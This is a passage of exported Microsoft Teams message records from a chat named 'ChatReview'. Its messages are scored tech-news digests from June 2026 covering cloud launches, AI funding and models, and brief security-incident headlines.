source](https://news.google.com/rss/articles/CBMiowFBVV95cUxPQ0JDVE9yd09rejMzUk12UFlRT3FJQU5ZWExiNV9sajNqUTFjTXp1OTJ5cDBhbkYtYVAxbFFQV05BbmZhMHFBM1RsWWxyVEEtZFFTX3QtTTF2WjBRcWFiaENqVXNtT0QxQ20ybVlIQ0RiWC1QM1VGMHZKRndxNjVzMHd5MmRGeFB6NWJXYTFzak9rYTB5enFCQjNBZl9udUluQzhn?oc=5)** \u2014 **Score: 28/35.** EXANTE launched a \u20ac1 million fund for critical open-source infrastructure, adding private financing for maintainers of widely depended-on projects.\\n  10. **[GitHub promotes pull-request limits for maintainer overload](https://github.blog/open-source/maintainers/how-pull-request-limits-are-cutting-down-the-noise/)** \u2014 **Score: 28/35.** GitHub says repository pull-request limits can reduce maintainer noise and contribution overload, with additional controls planned on the roadmap.\",\n>       \"created_at\": \"2026-06-19T10:01:34.467Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863294467?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863293503\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863293503\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863293503?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 7/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS Transform previews automated FSx for ONTAP migration](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-transform-vmware-fsx-for-ontap-preview)** \u2014 **Score: 32/35.** AWS Transform previews migration of block-storage workloads from on-premises or cloud sources to FSx for ONTAP, broadening automated modernization.\\n  2. **[US Homeland Security awards AWS a $2.6 billion cloud contract](https://news.google.com/rss/articles/CBMilAFBVV95cUxPZUgxZ0hrd05pNGxaLVpRdjdFUWtyWXdzdWtWVzZ1NVZOeFNEY05Wa2R2NnphYnR4NGpCLU9HRnJ0cXYycWQtV1JVLUtGYV8xb0Q4X0tLT2VHaXo5ZnNuOFBsSFZ3T0w3cVBQODg5OTF3STI0MUhNeExXcW41VE5RWXVuT0Z6eVFJTjViWlNVSUtabG9q?oc=5)** \u2014 **Score: 31/35.** The US Department of Homeland Security awarded AWS a $2.6 billion cloud contract, a major public-sector adoption and infrastructure commitment.\\n  3. **[AWS Console Private Access works without internet connectivity](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-management-console-private/)** \u2014 **Score: 30/35.** Enterprises can now reach the AWS Management Console from private VPCs without internet access, strengthening administration for isolated environments.\\n  4. **[AWS extends managed MySQL 5.7 support through June 2029](https://aws.amazon.com/about-aws/whats-new/2026/06/rds-mysql-es-extension/)** \u2014 **Score: 29/35.** Aurora and RDS will support MySQL 5.7 through June 2029, giving teams two additional years to plan upgrades from the aging database release.\\n  5. **[Cloud-native and PyTorch conferences unite in China](https://news.google.com/rss/articles/CBMi1gFBVV95cUxOTUF3UFVYQm1ablY2Ny15RWVqN1MzWmV1LVczX3RnYjFoOUE3aTNsZEpydW05R2kxbGFvTndJSHJkX2ZRbXg4SGN1ZFhRS2hvYVVZRW5fMktSZkFyYnpiN04yWXBPYU5OUW9KLW9yLVNPSEdiRjVXXzgtekVUUE1QSEpIcHd6WXRjTUl4NnZNZTNwYkVETGlQeE1va2ZiM25xM01RNkFBQ1JPWGxlaG1vQmN5a0hhY29LSlNxLVVWZVRXc3MxNTZuczZtdGF2V2NDMU1aRGdB0gHWAUFVX3lxTE5NQXdQVVhCbVpuVjY3LXlFZWo3UzNaZXUtVzNfdGdiMWg5QTdpM2xkSnJ1bTlHaTFsYW9Od0lIcmRfZlFteDhIY3VkWFFLaG9hVVlFbl8yS1JmQXJiemI3TjJZcE9hTk5Rb0otb3ItU09IR2JGNVdfOC16RVRQTVBISkhwd3pZdGNNSXg2dk1lM3BiRURMaVB4TW9rZmIzbnEzTVE2QUFDUk9YbGVobW9CY3lrSGFjb0tKU3EtVVZlVFdzczE1Nm5zNm10YXZXY0MxTVpEZ0E?oc=5)** \u2014 **Score: 29/35.** KubeCon, OpenInfra Summit and the PyTorch Conference will unite in China, linking cloud-native infrastructure more directly with production AI stacks.\\n  6. **[NDAA proposal would codify CISA\u2019s vulnerability-program role](https://news.google.com/rss/articles/CBMixwFBVV95cUxQVGRpRzlwaFhhdnNJcnBtREYtUGR2a3ZYUU13bzZFbEJNcWsyakU1M2d6VUZmMkFITV9IMmVNZ0xPdl9hRzVlcFNGRXJyWktsTWJkQ0Z6RWUxc2xfbHRYelZyOEM4X0tWWmtmd09WVVJ5aGxqTzRQTHdpSnAwMHN4UHR5Z2gyb0plRUo5R2JCeUVMc240eG9PbjRFZU1DMURfVjlEcS1MTU1GWFhIRm9wZzg5UHI2aXFpYWVXU0N5UjQ4dGxLMENr?oc=5)** \u2014 **Score: 28/35.** A proposed NDAA amendment would formalize CISA\u2019s role in a federal vulnerability program, potentially strengthening long-term authority and funding.\\n  7. **[Microsoft faces shareholder suit over AI spending and cloud disclosures](https://news.google.com/rss/articles/CBMiqwFBVV95cUxNUmJQUkh0dTUzZ2dITlpFWVp1ZGp4d0t2T3RYNHZMTVVra042ZVNYTk94R1dKdjM2cU0yWTh5cXNCVlVHTkFXRDFiT3ptRnNPeDUteGR1RDV5eWVoS3M4NFJsNDVpcHlVTVluQWViLUI0a29XR0JOaERIUXZnUTJ2V2VXSWs4MFBzMlFUR2NGNHJRcEFjUWptTU84dEZ2UllET0NWX2hsTDgwRDQ?oc=5)** \u2014 **Score: 28/35.** Microsoft shareholders sued over disclosures around AI spending and cloud performance, highlighting governance pressure on hyperscaler investment.\\n  8. **[Alibaba Cloud expands in France amid sovereignty pressure](https://news.google.com/rss/articles/CBMixwFBVV95cUxNRWt4YVIzc3JfTTVSQkc1c1hUQktrNVpxRk9WbDU5cnlwMVVRanZvdlVTaDhPYkJVXzB4bmVGUDFtVE5XaVA3UUQ3dGR1aTJ6bWNHS2NDMXNlYVJBMWFJekc2czNrX25WM2M5Q0pqZG1rSnViQjkwSk5RdEkyX3BlMThPd3AtSW5Cd3BLYmp3SVJSd1dMU1hBVHpQQzBpb3J4M3ctRXlPWGp1dFlpOEJaOG1QdTU3a1NoOWxZTWdmMnEtNmFHUUNR0gHHAUFVX3lxTE1YUHlGUUZZd3BmLXFfVHpWY2ZKZGNPR3Q5MUZuZ09iTU5IZVpack9lN2Fud2FhRUd5WElYc3lUMjJncjlfN0h5eWxjWDhpMHZMbzJyQzlvRm9JTlBaa252dnUwcExlSUwtTHFCUld1M0Q1N3VZc19xYmlLVk9GaWcxb2h1RThBREpvNEMtdHlXb0g5YnVCLS1iRHRHcThyNjdROV9KSEx3VGw1Y2xZX0kySzBJT0RBdi1YQWlNQzNSLVJ1T0o1SEE?oc=5)** \u2014 **Score: 28/35.** Alibaba Cloud is expanding in France as European buyers scrutinize data residency and sovereignty, intensifying competition for regional cloud workloads.\\n  9. **[AWS opens a Local Zone in Hanoi](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-local-zones-hanoi-vietnam/)** \u2014 **Score: 27/35.** AWS opened a Local Zone in Hanoi to reduce latency for Vietnamese workloads and bring compute and storage closer to local users.\\n  10. **[Researchers turn retired smartphones into a mini cloud](https://news.google.com/rss/articles/CBMivwFBVV95cUxPRnE0ZVFnbXFZbnJZSEhVclNQS0RpMFRVQ181Ym05OUhxREM1NGpMY3B0NVozZzd0SGpnTUdHSzRuajBpTUhyeXZSY3NRN09LbFMtWmxJY1VCUkN4Y21tN2VPMUU0WFRuWl81eV9wd2lMcERQVERacEJfUlRFQ1J1b3kxcDA2YVV4a2pjVG9qTGJ3RUszeGxBOVpMNmVrTmExaEJrRURZaWJkV0dqUHBXeWF3RnhIVTc0ZlVnMlpDMA?oc=5)** \u2014 **Score: 24/35.** Researchers combined discarded smartphones into a small cloud-computing platform, exploring lower-cost, reusable edge infrastructure.\",\n>       \"created_at\": \"2026-06-19T10:01:33.503Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863293503?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863292556\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863292556\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863292556?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 6/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Reported Copilot flaw could expose email and 2FA data](https://news.google.com/rss/articles/CBMikgFBVV95cUxNZkR6WGE0R0FBbV9IM2hfZGJxRTJFQ3YzZ19SNVRfRloyTWZ2MzY3QllrRE1Ic1U2TzNGMngxdVRGYUtCd1c2d25QdzFMd21rZWNOMFdkXzAyT0gyR19hQnlST2Nueml5M0xhYlhuNEJaWlVMSmpOazBabFdjb2luTjBtcl9UME9RdkI5OWRFZDMtdw?oc=5)** \u2014 **Score: 34/35.** A reported Copilot flaw could expose sensitive content including email and 2FA codes; teams should review vendor guidance and access boundaries.\\n  2. **[Accenture spends $4.18 billion on industrial cybersecurity expansion](https://news.google.com/rss/articles/CBMimAFBVV95cUxOVHVwZGhCSUFwSGYzZzVxYm42U2tzd3RiWkZzQmVpUktwSXFILWZoSTNyektKRm5KZTlXQmx6ZU5DOW1xMV93emxtZkVPX1VwTFdDM0ZaTGZYT2IybG8zZ2x5dWJzSmhCTjVKbUR0RkViS3VRcmZLUnBaSHVPajdfNTNaOUV5R25aVzhpTWtzX0dmTzBSbXlZWQ?oc=5)** \u2014 **Score: 31/35.** Accenture is spending $4.18 billion on three acquisitions to expand industrial and OT cybersecurity, signaling consolidation around critical-infrastructure defense.\\n  3. **[CISA urges Fortinet hardening after credential exposure reports](https://news.google.com/rss/articles/CBMizgFBVV95cUxPbDFsVnY4dWpHODBDOHRnYm5nVm05OUlNQ2l5UUhzOHN6bjJidUtOQThqSHBBdHZvOVVydFJYeTNjSDcyVzM2SDlIcmw1RVVhQkx3VmVCWnRfVXU4bE1pQVBoMkJtVFNTNXBNMHV2Mkw0UURLM2RFb3dka0VFMmVudU94eFlrdk1oNXF2MlFKZll4OG9pRVRkNEUxTlZfMGpyTW1wTEFCcVRNX3I1MFY3Mmc1RDg0U3B0Zk1hNkkxUjQwc29YOXdnVzNkU245dw?oc=5)** \u2014 **Score: 30/35.** CISA urged organizations to harden Fortinet devices after reports of exposed credentials, putting edge-device access and secret rotation back on the incident list.\\n  4. **[Novo Nordisk breach highlights development-pipeline risk](https://news.google.com/rss/articles/CBMijAFBVV95cUxQRnZnU1VRcnZNMWdxV0p2R2ZUcjdaMDdNSWl4S0J1ZFBuSThIa1B5Sk9Pa1RXLWdsYlZaWTBpWklEbVZXclNzMV9RbHJTWUNubmVpQXI5d0ZkVnpheGFlY2RBMFVuNkp3WnY2LWtvTV9ITHVfYlZkQXBoXzB0elJ4ekppU0swUzh1ZHlsSg?oc=5)** \u2014 **Score: 30/35.** The Novo Nordisk incident shows how a breach can reach software-development pipelines, where code, build secrets and deployment systems amplify risk.\\n  5. **[White House tightens cybersecurity direction for national-security systems](https://news.google.com/rss/articles/CBMiigFBVV95cUxOMHhDeGpmTDNNWTFCUUp6emRJZmhBdWVrMkQyY3BUM0tSeXpsdlZfa2J0VmlHaEVXdFNDRmFic3BJem5VS1lESnpBRnQ4bllHNWxVbFE4RXFvVG9ZTEN3aGNPTkdLdVJBTDkzcVdfMlhxZ0stQmVaRVJZWlRLSlJtX0FZWjZ6UTl4bkHSAY8BQVVfeXFMT0YyZk5NVW9IUV9YZ0xhSGtTQzAtaHdwVG9rb3dhQ01RM255VUVucXRnYnFyMVBYWGRWUlU4eFhUYlRfREVGeXZqb3pLZ0FvNGw0by1hNEFSWlNZeEV5VjdYd0lNd0hjX1FUWXpVdVZld2JMOEt5aUlQY2ZITGs5X242Q2ptbENWcmt5RHV0eU0?oc=5)** \u2014 **Score: 29/35.** A new White House memo sets tighter cybersecurity direction for national security systems, with implications for federal suppliers and sensitive workloads.\\n  6. **[Law enforcement cleans nearly 15,000 SocGholish-infected sites](https://www.bleepingcomputer.com/news/security/law-enforcement-nukes-socgholish-malware-from-nearly-15-000-sites/)** \u2014 **Score: 27/35.** Authorities cleaned nearly 15,000 infected WordPress sites and disrupted 100+ servers tied to SocGholish and the Evil Corp cybercrime group.\\n  7. **[INC ransomware passes 830 reported victims](https://news.google.com/rss/articles/CBMihAFBVV95cUxQSzdpRjZ1ODlhMzZkbXpaOEdYTTBTZUpOTHhpVk8teU94a2dIMzBGRzJRdGlmNFVGX1FOWU5YZnItTHdWYjZPQ3ZXZTVxZWZKZ0treUl4bTdhRGo2bVlOT1ZYQk5BUkppUFhEaG91a3hub2JwdnJKLW1HaE1teE52OUFEXzA?oc=5)** \u2014 **Score: 26/35.** INC ransomware has reportedly accumulated 830+ victims since 2023, reinforcing RaaS scale and the need for tested recovery and lateral-movement controls.\\n  8. **[Gentlemen ransomware maintains multiple EDR-killer tools](https://www.bleepingcomputer.com/news/security/gentlemen-ransomware-uses-multiple-edr-killers-to-disable-defenses/)** \u2014 **Score: 26/35.** Gentlemen ransomware affiliates are using a maintained suite of EDR-killer tools to disable endpoint defenses before encryption and extortion.\\n  9. **[HHS settles ransomware investigation with a health plan](https://news.google.com/rss/articles/CBMijAFBVV95cUxPRUJ6c09KWEJobHh1emVqZlpaZzV0MjFmVjJkMkhwUWN0d2VLbEtVYkxLeUZCakRBVzRyeXNkRFVSdGlHNVcwU2J5QUZ2cG4tUHZQdTVHenNVOUhua3BoN1lQV2JJajctLWFwY3FWdy1TdXNWOTZ6SWRQdWh1WGpDUUR2YnN1UDNyWEwyXw?oc=5)** \u2014 **Score: 26/35.** HHS settled a ransomware investigation with a health plan, another reminder that incident response and HIPAA safeguards carry regulatory consequences.\\n  10. **[USB worm spreads wallet-stealing malware through Windows shortcuts](https://www.bleepingcomputer.com/news/security/usb-worm-spreads-crypto-stealing-malware-via-windows-shortcut-files/)** \u2014 **Score: 25/35.** A self-spreading USB worm uses Windows shortcut files, clipboard theft and Tor-based communications to target cryptocurrency wallets.\",\n>       \"created_at\": \"2026-06-19T10:01:32.556Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863292556?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863097228\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863097228\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 5/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS Glue previews semantic discovery for enterprise data](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-glue-data-catalog/)** \u2014 **Score: 32/35.** AWS Glue Data Catalog is previewing business context and semantic search, helping teams discover data by meaning rather than exact names.\\n  2. **[ASML disputes US claim that its top chip tool reached China](https://techcrunch.com/2026/06/19/the-us-says-asmls-top-chip-tool-may-be-in-china-asml-says-it-isnt/)** \u2014 **Score: 31/35.** US officials say ASML\u2019s most advanced chip tool may be operating in China; ASML disputes it, intensifying export-control scrutiny.\\n  3. **[Z.ai releases open-weight GLM-5.2 for long-horizon work](https://huggingface.co/blog/zai-org/glm-52-blog)** \u2014 **Score: 31/35.** Z.ai released open-weight GLM-5.2 for long-horizon tasks, targeting sustained coding and agent workloads with a model developers can inspect.\\n  4. **[Elastic reportedly agrees to acquire DeductiveAI](https://techcrunch.com/2026/06/18/source-elastic-agrees-to-buy-crv-backed-deductiveai-for-up-to-85m/)** \u2014 **Score: 31/35.** Elastic reportedly agreed to acquire DeductiveAI for up to $85 million, adding AI-driven bug detection and remediation to its platform.\\n  5. **[AWS previews open-source TypeScript backend framework](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-blocks-preview)** \u2014 **Score: 31/35.** AWS Blocks is an open-source TypeScript framework for composing backends locally and deploying them without learning separate infrastructure tooling.\\n  6. **[Dream raises $260 million for sovereign AI and cybersecurity](https://news.google.com/rss/articles/CBMikAFBVV95cUxNZlZZQXZTT3Q2ci1JQXVXTWJBSHM1aDByMFNoR0FIY2EtQUt6WmN6Vlh2T3ZwSHp0QlduZzV3Qll3bzFpRzRNLVV5WWNLR0x1WmpmODNrZmtnZmJpVDBDekl1NFRPcmRIT0gtZ1dTck9USElyRkVCR1A0RUN4QTRmWG9EZU5lSmtoRjNZMEU4eE4?oc=5)** \u2014 **Score: 31/35.** Dream raised $260 million for sovereign AI and cybersecurity products, reflecting strong demand for region-controlled security infrastructure.\\n  7. **[Amazon Quick adds autonomous agents and multi-dataset analytics](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-quick/)** \u2014 **Score: 30/35.** Amazon Quick adds autonomous agents, multi-dataset analytics and a redesigned activity feed for business workflows.\\n  8. **[Amazon and QuEra target useful quantum error correction by 2028](https://arstechnica.com/science/2026/06/amazon-quera-promise-useful-quantum-error-correction-by-2028/)** \u2014 **Score: 30/35.** Amazon and QuEra say useful quantum error correction could arrive by 2028, potentially accelerating practical fault-tolerant computing.\\n  9. **[OpenAI appears to test a ChatGPT for Science plan](https://www.bleepingcomputer.com/news/artificial-intelligence/leak-confirms-openai-is-testing-a-chatgpt-for-science-subscription/)** \u2014 **Score: 29/35.** OpenAI appears to be testing a dedicated ChatGPT for Science subscription and workspace, though availability is not yet confirmed.\\n  10. **[Snap spins out its AI-video team as Dotmo](https://techcrunch.com/2026/06/18/snap-spins-off-ai-video-team-into-new-company-dotmo-due-to-costs/)** \u2014 **Score: 25/35.** Snap is spinning out its AI-video team as Dotmo to contain development costs and pursue generative-video work independently.\",\n>       \"created_at\": \"2026-06-19T09:58:17.228Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863096435\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863096435\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 4/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Vertex AI SDK flaw enabled cross-tenant remote code execution](https://unit42.paloaltonetworks.com/hijacking-vertex-ai-model/)** \u2014 **Score: 34/35.** A Vertex AI Python SDK flaw enabled bucket-squatting attacks that could hijack uploaded models and achieve cross-tenant remote code execution.\\n  2. **[AI-chip location tracking bill gains industry support](https://news.google.com/rss/articles/CBMinwFBVV95cUxOUkJoSzZIYk92LXRFTnJqd1BoZkFTczlMWTZmSnZKRGxLTll4YjZjM2FnYndiMkt0M29mOWhkVXM2eDJuNXlJQ3FzU3FsMEx6TnlGa3lPZWtRR1RLdUVFSDhRcGNUSDNLN1pPeHVVY0xVV2tTNG5zbVFhWko2ZTZIR3UteDhXd0t2N2lheXhxUWgzSFU1MWllXzdPeGFtelE?oc=5)** \u2014 **Score: 33/35.** A US bill requiring location tracking for advanced AI chips gained industry support, raising major compliance and supply-chain implications.\\n  3. **[US regulators give AI data centers a faster path to the grid](https://techcrunch.com/2026/06/18/ai-data-centers-just-got-a-government-mandated-fast-lane-to-the-grid/)** \u2014 **Score: 33/35.** FERC ordered faster grid interconnection handling for data centers, but power-supply constraints remain a bottleneck for AI infrastructure growth.\\n  4. **[LiteLLM flaw chain could expose AI gateway servers](https://news.google.com/rss/articles/CBMigAFBVV95cUxNd3pzN0V5ckJOZkpoYW9YWEEyRkhCZmtzOVZSUWNpR0FOT1ZfdEFyQkE5SGRTNVdseWNsQUJBRHotZmV3NGVESFBwVC15Zlk3WEdLaFAtbGV6X3FaSDdiLUVUQm5scVg2SHN2VmsxZ2UzUnRobjB3TG0wZWZVU2tmMQ?oc=5)** \u2014 **Score: 33/35.** A vulnerability chain could let low-privilege users take over LiteLLM gateway servers, putting centralized model credentials and traffic at risk.\\n  5. **[Docker joins Athena software-supply-chain coalition](https://www.docker.com/blog/docker-joins-the-athena-coalition-a-cross-industry-collaboration-for-supply-chain-security/)** \u2014 **Score: 32/35.** Docker joined the Athena coalition to coordinate cross-industry software-supply-chain defenses as AI lowers the cost of sophisticated attacks.\\n  6. **[Docker retires Content Trust and Notary v1](https://www.docker.com/blog/docker-content-trust-retirement-and-migration-guidance/)** \u2014 **Score: 31/35.** Docker Content Trust and Notary v1 are being retired; teams must migrate image-signing workflows to supported modern alternatives.\\n  7. **[Cisco patches critical ISE command-execution flaw](https://news.google.com/rss/articles/CBMilgFBVV95cUxNUHZOYXUtLWRPaTcwVUlIM2dWUHB4bk90eDR0aFR4bGdxTDFiaUMtZjJKSGJObXBxVkVjTHhOVVNlMjhQMlFTNGRnSktjS2xFM2RjdjdZTGJsWDdrRlA0emp3dTJsdkVibW05OHF3Y21KMHhiQTNrcmp5ZWJlNllrRWVQR1VFLTdwbU5tZWF4WlUyY2t3eFHSAZsBQVVfeXFMUEk2OXJ0bXVtMmRuMDR6aEY0bVdZRWJrc2JSemxLa0hLVVFpRHRFMFhfSkVFSmlNTFZtb1Y2QlUtWmRpSzl1U1o5UXpBeTdIM1RDendKcTN3SFdyR2pzVmRxV3lpNUZnZUMtOXFHRlZHQjIwbzhPMkRqZXFMT29oQm50UlJWVEx1em9PVlNvcGJqM1FRNG1BSDB2ZWc?oc=5)** \u2014 **Score: 30/35.** Cisco patched a critical ISE command-execution flaw; identity infrastructure teams should review affected versions and prioritize upgrades.\\n  8. **[Attackers exploit three FortiSandbox vulnerabilities](https://news.google.com/rss/articles/CBMie0FVX3lxTFBfOHNXSDlzYnEtR3BYS0dfRnhSbFFQRXlPNVFLS0dwZjVxSUhJSWNmRHpPTk1vX0hmWUYwOWdXbFctZ3JYcWhVUlBjUkp1eFFPZ2tGVDJpNERtaUR3MXZYZWtmVU5EbngxY0R6TjNxOEVkeWNxcVludmJxWQ?oc=5)** \u2014 **Score: 30/35.** Attackers are exploiting three FortiSandbox flaws, including one patched only last week, creating urgent exposure for sandbox deployments.\\n  9. **[Ransomware operators hide traffic through Microsoft Teams relays](https://news.google.com/rss/articles/CBMiuwFBVV95cUxQT3VMeUZUQ0xzUE93TkFTd0xZazFTRXhKZWl4SXp1djV6eC1tdjNWSF9kMFU4cDZjYVIwdl9qOWlDV0ZURWRaejhtMlcxOVFNRzlmSEpaemJMbERBUDZWY1N0LWoyeEdfWXNJdkZkcnFVY1BrRVNBUkxYTUM4dHJBLTFVU0Z5TVA2MWZpbTNUSHpvZHpnaVl4dGZELTFKOWZ4U0YtTXNXdDNJRHpLSHp6dUNKUGE0MThTWEpF0gHAAUFVX3lxTFB3YmZPTjlodTlRbThSMWFqYW8xTmp4LV9LUXVxc2NDVDZrWm5IVzJhNHZxNGllVzJZajJoQXVVSHlYOThGaVkxeDRraktOWUkxWXB5OTIwZm5xOUk4alVacUVxdlpGZVZ4YkxqNWl0UllEaDdoblFTUjJDYkpOT0ZEZXU5RFJzQmMydTBSQmRpTWZvdzl3bE5nY1ZaTERRcHR4SGo2TThjdzVsYmFHSnNDOFlJMGpZNUFLUUlfak5PTA?oc=5)** \u2014 **Score: 30/35.** Ransomware operators are abusing Microsoft Teams relay infrastructure to conceal command-and-control traffic inside trusted cloud services.\\n  10. **[Texas breach exposes three million identity documents](https://techcrunch.com/2026/06/18/texas-government-data-breach-allowed-hackers-to-steal-3-million-drivers-licenses-and-passports/)** \u2014 **Score: 27/35.** Hackers stole about 3 million driver\u2019s licenses and passports from a Texas government system, creating large-scale identity and privacy risk.\",\n>       \"created_at\": \"2026-06-19T09:58:16.435Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863095391\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863095391\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 3/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Nvidia Blackwell leads the first AgentPerf infrastructure benchmark](https://blogs.nvidia.com/blog/nvidia-blackwell-agentperf-artificial-analysis/)** \u2014 **Score: 33/35.** Nvidia Blackwell led the first AgentPerf infrastructure results, giving teams a new benchmark for comparing systems that run tool-using AI agents.\\n  2. **[HPE and Nvidia expand AI Factory for production agents](https://blogs.nvidia.com/blog/hpe-ai-factory-agentic-enterprise/)** \u2014 **Score: 32/35.** HPE and Nvidia expanded their AI Factory stack for production agents, combining compute, networking, software and enterprise deployment tooling.\\n  3. **[OpenAI launches a $150 million partner network](https://openai.com/index/introducing-openai-partner-network)** \u2014 **Score: 31/35.** OpenAI is investing $150 million in a global partner network to accelerate enterprise AI deployment, integration and transformation.\\n  4. **[Baseten reportedly raises $1.5 billion for AI inference](https://techcrunch.com/2026/06/18/ai-inference-startup-baseten-reportedly-raising-1-5b-months-after-its-last-mega-round/)** \u2014 **Score: 31/35.** Inference-platform startup Baseten is reportedly raising $1.5 billion at a $13 billion valuation, underscoring demand for AI-serving infrastructure.\\n  5. **[OVHcloud plans frontier models for European AI sovereignty](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOSXVzUTFCWkxBeDRRWEItdmFYMGlQQ1BLcTlWRGM5THcxcFFULWQxaFVrOGhabzZqcGVqMWE3V3pwaU9SQzFzVGpJRE0xNm44NnpXcjhSaEFncUZKd2tEYkR6dW56bUR4SjVKaVBZd0Q4akxYdktlbThsOGgtTjBrZGdwRTJybnpMMDRZMVEtRXhIWHVOT21OcEFrM0lya0RmSG1EMWZlMTBIUlFCS2pNeEdWWXVDbllBb19uaTJrOUt1TlF2ajJTbg?oc=5)** \u2014 **Score: 31/35.** OVHcloud plans frontier models intended to make it Europe\u2019s second major LLM player, tying sovereign cloud ambitions to model development.\\n  6. **[France brings more sovereign AI infrastructure online](https://blogs.nvidia.com/blog/france-advances-europes-ai-future/)** \u2014 **Score: 30/35.** Nvidia says French AI factories, national compute and industrial platforms are moving into production, expanding Europe\u2019s sovereign-AI capacity.\\n  7. **[India reaches 2.25 million cloud-native developers](https://www.cncf.io/announcements/2026/06/17/cncf-and-slashdata-report-confirms-india-as-one-of-the-largest-cloud-native-communities-with-2-25-million-developers/)** \u2014 **Score: 29/35.** CNCF and SlashData estimate India now has 2.25 million cloud-native developers, alongside rising platform-engineering and hybrid-cloud adoption.\\n  8. **[HSBC expands enterprise AI adoption with Google 